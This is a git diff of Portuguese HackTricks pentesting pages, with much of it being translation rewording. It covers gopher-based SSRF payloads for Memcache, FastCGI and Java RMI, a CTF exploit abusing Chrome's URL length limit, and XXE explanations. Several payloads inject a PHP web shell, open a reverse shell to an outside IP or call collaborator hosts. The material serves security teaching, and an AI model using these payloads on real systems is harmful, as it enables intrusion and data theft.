* [Exemplo de payload Gopher para Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
|
|
||||||
```bash
|
|
||||||
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
|
|
||||||
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
|
|
||||||
```
|
|
||||||
## Apache Tomcat
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
Efetivo apenas contra Tomcat 6:
|
|
||||||
|
|
||||||
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
|
|
||||||
|
|
||||||
Writeup de CTF usando esta técnica:
|
|
||||||
|
|
||||||
[De XXE para RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
|
|
||||||
|
|
||||||
## FastCGI
|
|
||||||
|
|
||||||
**Portas comuns: 80,443 (SSL)**
|
|
||||||
|
|
||||||
Isso foi retirado [daqui](https://blog.chaitin.cn/gopher-attack-surfaces/).
|
|
||||||
```bash
|
|
||||||
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
|
|
||||||
```
|
|
||||||
## Java RMI
|
|
||||||
|
|
||||||
**Portas comumente vinculadas: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
|
|
||||||
|
|
||||||
Vulnerabilidades _SSRF_ cegas que permitem bytes arbitrários (_baseados em gopher_) podem ser usadas para realizar ataques de desserialização ou de base de código nos componentes padrão do _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Um artigo detalhado pode ser encontrado [aqui](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). A listagem a seguir mostra um exemplo para a geração de payload:
|
|
||||||
```
|
|
||||||
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
|
|
||||||
[+] Creating ysoserial payload... done.
|
|
||||||
[+]
|
|
||||||
[+] Attempting deserialization attack on RMI Registry endpoint...
|
|
||||||
[+]
|
|
||||||
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
|
|
||||||
```
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,50 +1,50 @@
|
||||||
# Comprimento Máximo de URL - Lado do Cliente
|
# URL Max Length - Client Side
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Código copiado de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
Código de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body></body>
|
<body></body>
|
||||||
<script>
|
<script>
|
||||||
(async () => {
|
(async () => {
|
||||||
|
|
||||||
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
|
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
|
||||||
|
|
||||||
const leak = async (char) => {
|
const leak = async (char) => {
|
||||||
|
|
||||||
fetch("/?try=" + char)
|
|
||||||
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
|
|
||||||
|
|
||||||
const check = async () => {
|
|
||||||
try {
|
|
||||||
w.origin
|
|
||||||
} catch {
|
|
||||||
fetch("/?nope=" + char)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
setTimeout(check, 100)
|
|
||||||
}
|
|
||||||
check()
|
|
||||||
}
|
|
||||||
|
|
||||||
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
fetch("/?try=" + char)
|
||||||
|
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
|
||||||
|
|
||||||
for (let i = 0; i < CHARSET.length; i++) {
|
const check = async () => {
|
||||||
leak(CHARSET[i])
|
try {
|
||||||
await new Promise(resolve => setTimeout(resolve, 50))
|
w.origin
|
||||||
}
|
} catch {
|
||||||
})()
|
fetch("/?nope=" + char)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
setTimeout(check, 100)
|
||||||
|
}
|
||||||
|
check()
|
||||||
|
}
|
||||||
|
|
||||||
|
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
||||||
|
|
||||||
|
for (let i = 0; i < CHARSET.length; i++) {
|
||||||
|
leak(CHARSET[i])
|
||||||
|
await new Promise(resolve => setTimeout(resolve, 50))
|
||||||
|
}
|
||||||
|
})()
|
||||||
</script>
|
</script>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
|
@ -59,33 +59,33 @@ chars = []
|
||||||
|
|
||||||
@app.route('/', methods=['GET'])
|
@app.route('/', methods=['GET'])
|
||||||
def index():
|
def index():
|
||||||
global chars
|
global chars
|
||||||
|
|
||||||
nope = request.args.get('nope', '')
|
|
||||||
if nope:
|
|
||||||
chars.append(nope)
|
|
||||||
|
|
||||||
remaining = [c for c in CHARSET if c not in chars]
|
nope = request.args.get('nope', '')
|
||||||
|
if nope:
|
||||||
|
chars.append(nope)
|
||||||
|
|
||||||
print("Remaining: {}".format(remaining))
|
remaining = [c for c in CHARSET if c not in chars]
|
||||||
|
|
||||||
return "OK"
|
print("Remaining: {}".format(remaining))
|
||||||
|
|
||||||
|
return "OK"
|
||||||
|
|
||||||
@app.route('/exploit.html', methods=['GET'])
|
@app.route('/exploit.html', methods=['GET'])
|
||||||
def exploit():
|
def exploit():
|
||||||
return open('exploit.html', 'r').read()
|
return open('exploit.html', 'r').read()
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
app.run(host='0.0.0.0', port=1337)
|
app.run(host='0.0.0.0', port=1337)
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,9 +8,9 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ XML significa "linguagem de marcação extensível". XML é uma linguagem projet
|
||||||
|
|
||||||
### O que são entidades XML? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a>
|
### O que são entidades XML? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a>
|
||||||
|
|
||||||
Entidades XML são uma forma de representar um item de dados dentro de um documento XML, em vez de usar os próprios dados. Várias entidades estão incorporadas na especificação da linguagem XML. Por exemplo, as entidades `<` e `>` representam os caracteres `<` e `>`. Estes são metacaracteres usados para denotar tags XML, e por isso devem geralmente ser representados usando suas entidades quando aparecem dentro dos dados.
|
Entidades XML são uma forma de representar um item de dados dentro de um documento XML, em vez de usar os próprios dados. Várias entidades estão incorporadas na especificação da linguagem XML. Por exemplo, as entidades `<` e `>` representam os caracteres `<` e `>`. Esses são metacaracteres usados para denotar tags XML, e por isso geralmente devem ser representados usando suas entidades quando aparecem dentro dos dados.
|
||||||
|
|
||||||
### O que são elementos XML?
|
### O que são elementos XML?
|
||||||
|
|
||||||
|
@ -44,9 +44,9 @@ A definição de tipo de documento XML (DTD) contém declarações que podem def
|
||||||
|
|
||||||
O XML permite que entidades personalizadas sejam definidas dentro da DTD. Por exemplo:
|
O XML permite que entidades personalizadas sejam definidas dentro da DTD. Por exemplo:
|
||||||
|
|
||||||
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
|
`<!DOCTYPE foo [ <!ENTITY myentity "meu valor de entidade" > ]>`
|
||||||
|
|
||||||
Esta definição significa que qualquer uso da referência de entidade `&myentity;` dentro do documento XML será substituído pelo valor definido: "`my entity value`".
|
Esta definição significa que qualquer uso da referência de entidade `&myentity;` dentro do documento XML será substituído pelo valor definido: "`meu valor de entidade`".
|
||||||
|
|
||||||
### O que são entidades externas XML? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a>
|
### O que são entidades externas XML? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a>
|
||||||
|
|
||||||
|
@ -56,9 +56,9 @@ A declaração de uma entidade externa usa a palavra-chave `SYSTEM` e deve espec
|
||||||
|
|
||||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>`
|
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>`
|
||||||
|
|
||||||
A URL pode usar o protocolo `file://`, e assim entidades externas podem ser carregadas a partir de arquivo. Por exemplo:
|
A URL pode usar o protocolo `file://`, e assim entidades externas podem ser carregadas a partir de arquivos. Por exemplo:
|
||||||
|
|
||||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
|
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///caminho/para/arquivo" > ]>`
|
||||||
|
|
||||||
Entidades externas XML fornecem o principal meio pelo qual [ataques de entidade externa XML](https://portswigger.net/web-security/xxe) surgem.
|
Entidades externas XML fornecem o principal meio pelo qual [ataques de entidade externa XML](https://portswigger.net/web-security/xxe) surgem.
|
||||||
|
|
||||||
|
@ -66,7 +66,7 @@ Entidades externas XML fornecem o principal meio pelo qual [ataques de entidade
|
||||||
|
|
||||||
Às vezes, ataques XXE usando entidades regulares são bloqueados, devido a alguma validação de entrada pela aplicação ou algum reforço do analisador XML que está sendo usado. Nessa situação, você pode ser capaz de usar entidades de parâmetro XML em vez disso. Entidades de parâmetro XML são um tipo especial de entidade XML que só pode ser referenciada em outro lugar dentro da DTD. Para os propósitos atuais, você só precisa saber duas coisas. Primeiro, a declaração de uma entidade de parâmetro XML inclui o caractere de porcentagem antes do nome da entidade:
|
Às vezes, ataques XXE usando entidades regulares são bloqueados, devido a alguma validação de entrada pela aplicação ou algum reforço do analisador XML que está sendo usado. Nessa situação, você pode ser capaz de usar entidades de parâmetro XML em vez disso. Entidades de parâmetro XML são um tipo especial de entidade XML que só pode ser referenciada em outro lugar dentro da DTD. Para os propósitos atuais, você só precisa saber duas coisas. Primeiro, a declaração de uma entidade de parâmetro XML inclui o caractere de porcentagem antes do nome da entidade:
|
||||||
|
|
||||||
`<!ENTITY % myparameterentity "my parameter entity value" >`
|
`<!ENTITY % myparameterentity "meu valor de entidade de parâmetro" >`
|
||||||
|
|
||||||
E segundo, entidades de parâmetro são referenciadas usando o caractere de porcentagem em vez do habitual e comercial: `%myparameterentity;`
|
E segundo, entidades de parâmetro são referenciadas usando o caractere de porcentagem em vez do habitual e comercial: `%myparameterentity;`
|
||||||
|
|
||||||
|
@ -145,13 +145,13 @@ Um XXE pode ser usado para abusar de um SSRF dentro de uma nuvem
|
||||||
```
|
```
|
||||||
### Blind SSRF
|
### Blind SSRF
|
||||||
|
|
||||||
Usando a **técnica comentada anteriormente**, você pode fazer o servidor acessar um servidor que você controla para mostrar que ele é vulnerável. Mas, se isso não estiver funcionando, talvez seja porque **entidades XML não são permitidas**, nesse caso você poderia tentar usar **entidades de parâmetro XML**:
|
Usando a **técnica comentada anteriormente**, você pode fazer com que o servidor acesse um servidor que você controla para mostrar que está vulnerável. Mas, se isso não estiver funcionando, talvez seja porque **entidades XML não são permitidas**, nesse caso você poderia tentar usar **entidades de parâmetro XML**:
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
### "Blind" SSRF - Exfiltração de dados out-of-band
|
### "Blind" SSRF - Exfiltrar dados out-of-band
|
||||||
|
|
||||||
**Nesta ocasião, vamos fazer o servidor carregar um novo DTD com um payload malicioso que enviará o conteúdo de um arquivo via requisição HTTP (para arquivos de múltiplas linhas, você poderia tentar exfiltrá-lo via** _**ftp://**_**). Esta explicação foi retirada do** [**laboratório da Portswigger aqui**](https://portswigger.net/web-security/xxe/blind)**.**
|
**Nesta ocasião, vamos fazer o servidor carregar um novo DTD com um payload malicioso que enviará o conteúdo de um arquivo via requisição HTTP (para arquivos de múltiplas linhas, você poderia tentar exfiltrá-lo via** _**ftp://**_**). Esta explicação foi retirada do** [**laboratório da Portswigger aqui**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||||
|
|
||||||
|
@ -165,7 +165,7 @@ Um exemplo de um DTD malicioso para exfiltrar o conteúdo do arquivo `/etc/hostn
|
||||||
Este DTD executa os seguintes passos:
|
Este DTD executa os seguintes passos:
|
||||||
|
|
||||||
* Define uma entidade de parâmetro XML chamada `file`, contendo o conteúdo do arquivo `/etc/passwd`.
|
* Define uma entidade de parâmetro XML chamada `file`, contendo o conteúdo do arquivo `/etc/passwd`.
|
||||||
* Define uma entidade de parâmetro XML chamada `eval`, contendo uma declaração dinâmica de outra entidade de parâmetro XML chamada `exfiltrate`. A entidade `exfiltrate` será avaliada fazendo uma solicitação HTTP para o servidor web do atacante contendo o valor da entidade `file` dentro da string de consulta da URL.
|
* Define uma entidade de parâmetro XML chamada `eval`, contendo uma declaração dinâmica de outra entidade de parâmetro XML chamada `exfiltrate`. A entidade `exfiltrate` será avaliada ao fazer uma solicitação HTTP para o servidor web do atacante contendo o valor da entidade `file` dentro da string de consulta da URL.
|
||||||
* Utiliza a entidade `eval`, o que causa a declaração dinâmica da entidade `exfiltrate` a ser realizada.
|
* Utiliza a entidade `eval`, o que causa a declaração dinâmica da entidade `exfiltrate` a ser realizada.
|
||||||
* Utiliza a entidade `exfiltrate`, para que seu valor seja avaliado ao solicitar a URL especificada.
|
* Utiliza a entidade `exfiltrate`, para que seu valor seja avaliado ao solicitar a URL especificada.
|
||||||
|
|
||||||
|
@ -212,11 +212,11 @@ _**Por favor, note que o DTD externo nos permite incluir uma entidade dentro da
|
||||||
|
|
||||||
### **Baseado em Erro (DTD do sistema)**
|
### **Baseado em Erro (DTD do sistema)**
|
||||||
|
|
||||||
Então, o que dizer das vulnerabilidades XXE cegas quando **interações fora de banda são bloqueadas** (conexões externas não estão disponíveis)? [Informações daqui](https://portswigger.net/web-security/xxe/blind).
|
Então, o que dizer das vulnerabilidades XXE cegas quando **interações fora de banda estão bloqueadas** (conexões externas não estão disponíveis)? [Informações daqui](https://portswigger.net/web-security/xxe/blind).
|
||||||
|
|
||||||
Nessa situação, ainda pode ser possível **desencadear mensagens de erro contendo dados sensíveis**, devido a uma brecha na especificação da linguagem XML. Se o **DTD de um documento usa uma combinação de declarações de DTD internas e externas**, então o **DTD interno pode redefinir entidades que são declaradas no DTD externo**. Quando isso acontece, a restrição de usar uma entidade de parâmetro XML dentro da definição de outra entidade de parâmetro é relaxada.
|
Nessa situação, ainda pode ser possível **desencadear mensagens de erro contendo dados sensíveis**, devido a uma brecha na especificação da linguagem XML. Se o **DTD de um documento usa uma combinação de declarações de DTD internas e externas**, então o **DTD interno pode redefinir entidades que são declaradas no DTD externo**. Quando isso acontece, a restrição de usar uma entidade de parâmetro XML dentro da definição de outra entidade de parâmetro é relaxada.
|
||||||
|
|
||||||
Isso significa que um atacante pode empregar a técnica XXE **baseada em erro a partir de um DTD interno**, desde que a entidade de parâmetro XML que eles usam esteja **redefinindo uma entidade que é declarada dentro de um DTD externo**. Claro, se as conexões fora de banda estão bloqueadas, então o DTD externo não pode ser carregado de um local remoto. Em vez disso, precisa ser um **arquivo DTD externo que esteja local no servidor da aplicação**. _Essencialmente, o ataque envolve invocar um arquivo DTD que por acaso existe no sistema de arquivos local e reutilizá-lo para redefinir uma entidade existente de uma maneira que desencadeie um erro de análise contendo dados sensíveis._
|
Isso significa que um atacante pode empregar a técnica XXE baseada em erro **a partir de um DTD interno**, desde que a entidade de parâmetro XML que eles usam esteja **redefinindo uma entidade que é declarada dentro de um DTD externo**. Claro, se as conexões fora de banda estão bloqueadas, então o DTD externo não pode ser carregado de um local remoto. Em vez disso, precisa ser um **arquivo DTD externo que esteja local no servidor da aplicação**. _Essencialmente, o ataque envolve invocar um arquivo DTD que por acaso existe no sistema de arquivos local e reutilizá-lo para redefinir uma entidade existente de uma maneira que desencadeie um erro de análise contendo dados sensíveis._
|
||||||
|
|
||||||
Por exemplo, suponha que haja um arquivo DTD no sistema de arquivos do servidor no local `/usr/local/app/schema.dtd`, e este arquivo DTD define uma entidade chamada `custom_entity`. Um atacante pode desencadear uma mensagem de erro de análise XML contendo o conteúdo do arquivo `/etc/passwd` ao enviar um DTD híbrido como o seguinte:
|
Por exemplo, suponha que haja um arquivo DTD no sistema de arquivos do servidor no local `/usr/local/app/schema.dtd`, e este arquivo DTD define uma entidade chamada `custom_entity`. Um atacante pode desencadear uma mensagem de erro de análise XML contendo o conteúdo do arquivo `/etc/passwd` ao enviar um DTD híbrido como o seguinte:
|
||||||
```markup
|
```markup
|
||||||
|
@ -237,7 +237,7 @@ Este DTD executa os seguintes passos:
|
||||||
* Redefine a entidade de parâmetro XML chamada `custom_entity`, que já está definida no arquivo DTD externo. A entidade é redefinida como contendo o [exploit XXE baseado em erro](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) que já foi descrito, para acionar uma mensagem de erro contendo o conteúdo do arquivo `/etc/passwd`.
|
* Redefine a entidade de parâmetro XML chamada `custom_entity`, que já está definida no arquivo DTD externo. A entidade é redefinida como contendo o [exploit XXE baseado em erro](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) que já foi descrito, para acionar uma mensagem de erro contendo o conteúdo do arquivo `/etc/passwd`.
|
